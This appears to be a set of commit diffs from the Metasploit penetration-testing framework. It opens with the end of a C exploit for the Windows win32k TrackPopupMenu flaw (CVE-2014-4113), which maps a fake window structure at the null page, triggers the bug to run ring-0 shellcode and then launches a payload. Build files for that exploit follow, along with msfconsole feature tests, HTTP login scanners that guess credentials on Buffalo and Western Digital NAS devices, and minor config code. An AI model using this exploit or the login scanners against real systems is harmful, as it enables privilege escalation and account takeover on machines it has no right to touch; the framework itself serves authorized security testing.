pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl));
dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken);
dwMyProcessId = GetCurrentProcessId();
// Register Class
dprintf("[*] Registering class...");
memset(&wndClass, 0, sizeof(WNDCLASSA));
wndClass.lpfnWndProc = wnd_proc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
wndClass.lpszClassName = "woqunimalegebi";
if (!RegisterClassA(&wndClass))
{
dprintf("[!] RegisterClassA failed ");
return;
}
// Create Window
dprintf("[*] Creating window...");
HWND hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);
if (hWnd == NULL)
{
dprintf("[!] CreateWindowExA failed");
return;
}
// Making everything ready for exploitation...
dprintf("[*] Allocating null page...");
#ifdef _M_X64
ULONGLONG dwBaseAddress = 0x00000000fffffffb;
#else
DWORD dwBaseAddress = 1;
#endif
SIZE_T sRegionSize = 0x1000;
ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
{
dprintf("[!] Failed to allocate null page");
return;
}
dprintf("[*] Getting PtiCurrent...");
DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();
if (dwThreadInfoPtr == 0)
{
LoadLibrary("user32.dll");
LoadLibrary("gdi32.dll");
dwThreadInfoPtr = get_threadinfo_ptr();
}
if (dwThreadInfoPtr == 0)
{
dprintf("[!] Filed to get current thread information");
return;
}
dprintf("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
dprintf("[*] Creating a fake structure at NULL...");
LPVOID lpPtr = NULL;
#ifdef _M_X64
(DWORD_PTR)lpPtr = 0x10000000B;
*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;
/* win32k!tagWND->bServerSideWindowProc = TRUE */
(DWORD_PTR)lpPtr = 0x100000025;
*((PBYTE)lpPtr) = 4;
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
(DWORD_PTR)lpPtr = 0x10000008B;
*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
#else
LPBYTE lpPromisedLand = NULL;
lpPtr = lpPromisedLand + 3;
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
.text:BF8B93F4 02C mov edi, _gptiCurrent
.text:BF8B93FA 02C cmp edi, [esi + 8];
.text:BF8B93FD 02C jz loc_BF8B
*/
*(LPDWORD)lpPtr = dwThreadInfoPtr;
*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;
lpPtr = lpPromisedLand + 0x5b;
*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
#endif
// Exploit!
dprintf("[*] Triggering vulnerability...");
HMENU hMenuOne = CreatePopupMenu();
if (hMenuOne == NULL)
{
dprintf("[!] First CreatePopupMenu failed");
return;
}
MENUITEMINFOA menuOneInfo;
memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
menuOneInfo.fMask = MIIM_STRING;
if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
{
dprintf("[!] First InsertMenuItemA failed");
DestroyMenu(hMenuOne);
return;
}
HMENU hMenuTwo = CreatePopupMenu();
if (hMenuTwo == NULL)
{
dprintf("[!] Second CreatePopupMenu failed");
DestroyMenu(hMenuOne);
return;
}
MENUITEMINFOA menuTwoInfo;
memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
menuTwoInfo.dwTypeData = "";
menuTwoInfo.cch = 1;
menuTwoInfo.hSubMenu = hMenuOne;
if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
{
dprintf("[!] Second InsertMenuItemA failed");
DestroyMenu(hMenuTwo);
DestroyMenu(hMenuOne);
return;
}
if (SetWindowsHookExA(WH_CALLWNDPROC, hook_callback, NULL, GetCurrentThreadId()) == NULL)
{
dprintf("[!] SetWindowsHookExA failed :-(");
DestroyMenu(hMenuTwo);
DestroyMenu(hMenuOne);
return;
}
// 'crash' it!
TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
// If everything worked process should be privileges at this point
dprintf("[!] Executing payload...");
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
win32k_null_page(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,242 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{E80F11CD-6698-492F-B4B0-1A2348A24BB0}</ProjectGuid>
<RootNamespace>cve-2014-4113</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2014-4113.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,18 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\cve-2014-4113.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building CVE-2014-4113 track_popup_menu x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building CVE-2014-4113 track_popup_menu x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" (
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2014-4113 (track_popup_menu)"
PUSHD CVE-2014-4113
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-1300 (schlamperei)"
PUSHD CVE-2013-1300
@ -60,8 +67,8 @@ IF "%ERRORLEVEL%"=="0" (
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building bypassuac (in-memory)"
PUSHD bypassuac_injection
@ -69,8 +76,8 @@ IF "%ERRORLEVEL%"=="0" (
POPD
)
)
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building IE11 Sandbox bypasses"
PUSHD IE11SandboxEscapes

View File

@ -1,9 +1,9 @@
Feature: Help command
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The 'help' command's output
When I type "help"
And I type "exit"
@ -75,4 +75,4 @@ Feature: Help command
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
"""

View File

@ -7,7 +7,7 @@ Feature: MS08-067 netapi
And a mocked home directory
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The MS08-067 Module should have the following options
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show options"
@ -28,7 +28,7 @@ Feature: MS08-067 netapi
Id Name
-- ----
0 Automatic Targeting
"""
Scenario: The MS08-067 Module should have the following advanced options
@ -40,11 +40,11 @@ Feature: MS08-067 netapi
Module advanced options:
Name : CHOST
Current Setting:
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Current Setting:
Description : The local client port
Name : ConnectTimeout
@ -52,7 +52,7 @@ Feature: MS08-067 netapi
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
@ -69,41 +69,41 @@ Feature: MS08-067 netapi
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Current Setting:
Description : Use a proxy chain
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
@ -131,11 +131,11 @@ Feature: MS08-067 netapi
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Current Setting:
Description : The username to authenticate as
Name : SSL
@ -143,17 +143,17 @@ Feature: MS08-067 netapi
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (accepted: CLIENT_ONCE,
Description : SSL verification method (accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
@ -161,7 +161,7 @@ Feature: MS08-067 netapi
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay

View File

@ -157,11 +157,11 @@ Feature: `msfconsole` `database.yml`
And the output should not contain "user_metasploit_framework_test"
And the output should not contain "project_metasploit_framework_test"
And the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql connected to metasploit_framework_test"

View File

@ -0,0 +1,65 @@
require 'metasploit/framework/login_scanner/http'
require 'json'
module Metasploit
module Framework
module LoginScanner
# Buffalo Linkstation NAS login scanner
class Buffalo < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = true
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = "/dynamic.pl" if self.uri.nil?
self.method = "POST" if self.method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli.connect
req = cli.request_cgi({
'method'=>'POST',
'uri'=>'/dynamic.pl',
'vars_post'=> {
'bufaction'=>'verifyLogin',
'user' => credential.public,
'password'=>credential.private
}
})
res = cli.send_recv(req)
body = JSON.parse(res.body)
if res && body.has_key?('success') && body['success']
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::JSON::ParserError
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -0,0 +1,61 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# Western Digital MyBook Live login scanner
class MyBookLive < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = true
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = '/UI/login' if self.uri.nil?
self.method = 'POST' if self.method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
cred = Rex::Text.uri_encode(credential.private)
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli.connect
req = cli.request_cgi(
'method' => method,
'uri' => uri,
'data' => body
)
res = cli.send_recv(req)
if res && res.code == 302 && res.headers['location'] && res.headers['location'].include?('UI')
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
elsif res.nil?
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'No response')
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.headers)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -0,0 +1,61 @@
# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which
# allows for faster loading of rake tasks.
module Metasploit
module Framework
module Spec
module UntestedPayloads
# @note `Metasploit::Framework::Spec::UntestedPayloads.define_task` should be run after the normal spec task is
# defined.
#
# Adds action to `spec` tasks so that `rake spec` fails if `log/untested-payloads.log` exists and prints out untested
# payloads from that log to stderr.
#
# # @example Using `Metasploit::Framework::Spec::UntestedPayloads.define_task` with 'payload can be instantiated' shared examples and 'untested payloads' shared context
# # Rakefile
# require 'metasploit/framework/spec/untested_payloads'
#
# # defined spec task with rspec-rails
# My::Application.load_tasks
# # extends spec task to fail when there are untested payloads
# Metasploit::Framework::Spec::UntestedPayloads.define_task
#
# # spec/modules/payloads_spec.rb
# require 'spec_helper'
#
# describe 'modules/payloads' do
# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules')
#
# include_context 'untested payloads', modules_pathname: modules_pathname
#
# context 'my/staged/payload/handler' do
# it_should_behave_like 'payload can be instantiated',
# ancestor_reference_names: [
# 'stages/my/payload',
# 'stagers/my/payload/handler'
# ],
# modules_pathname: modules_pathname,
# reference_name: 'my/staged/payload/handler'
# end
# end
#
# @return [void]
def self.define_task
Rake::Task.define_task :spec do
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
system(tool_path)
exit 1
end
end
end
end
end
end
end

View File

@ -65,6 +65,7 @@ class Config < Hash
'ModuleDirectory' => "modules",
'ScriptDirectory' => "scripts",
'LogDirectory' => "logs",
'LogosDirectory' => "logos",
'SessionLogDirectory' => "logs/sessions",
'PluginDirectory' => "plugins",
'DataDirectory' => "data",
@ -92,6 +93,13 @@ class Config < Hash
self.new.config_directory
end
# Return the directory that logo files should be loaded from.
#
# @return [String] path to the logos directory.
def self.logos_directory
self.new.logos_directory
end
# Returns the global module directory.
#
# @return [String] path to global module directory.
@ -148,6 +156,13 @@ class Config < Hash
self.new.local_directory
end
# Return the user-specific directory that logo files should be loaded from.
#
# @return [String] path to the logos directory.
def self.user_logos_directory
self.new.user_logos_directory
end
# Returns the user-specific module base path
#
# @return [String] path to user-specific modules directory.
@ -231,6 +246,13 @@ class Config < Hash
InstallRoot
end
# Return the directory that logo files should be loaded from.
#
# @return [String] path to the logos directory.
def logos_directory
data_directory + FileSep + self['LogosDirectory']
end
# Returns the configuration directory default.
#
# @return [String] the root configuration directory.
@ -301,6 +323,13 @@ class Config < Hash
config_directory + FileSep + self['LocalDirectory']
end
# Return the user-specific directory that logo files should be loaded from.
#
# @return [String] path to the logos directory.
def user_logos_directory
config_directory + FileSep + self['LogosDirectory']
end
# Returns the user-specific module base path
#
# @return [String] path to user-specific modules directory.
@ -339,6 +368,7 @@ class Config < Hash
FileUtils.mkdir_p(session_log_directory)
FileUtils.mkdir_p(loot_directory)
FileUtils.mkdir_p(local_directory)
FileUtils.mkdir_p(user_logos_directory)
FileUtils.mkdir_p(user_module_directory)
FileUtils.mkdir_p(user_plugin_directory)
end
